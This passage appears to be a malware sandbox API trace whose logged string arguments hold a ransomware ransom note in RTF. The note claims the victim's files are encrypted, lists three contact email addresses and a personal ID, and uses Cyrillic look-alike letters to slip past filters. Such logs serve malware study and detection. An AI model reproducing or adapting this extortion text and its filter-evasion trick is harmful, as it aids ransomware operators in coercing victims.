s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2732c08, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 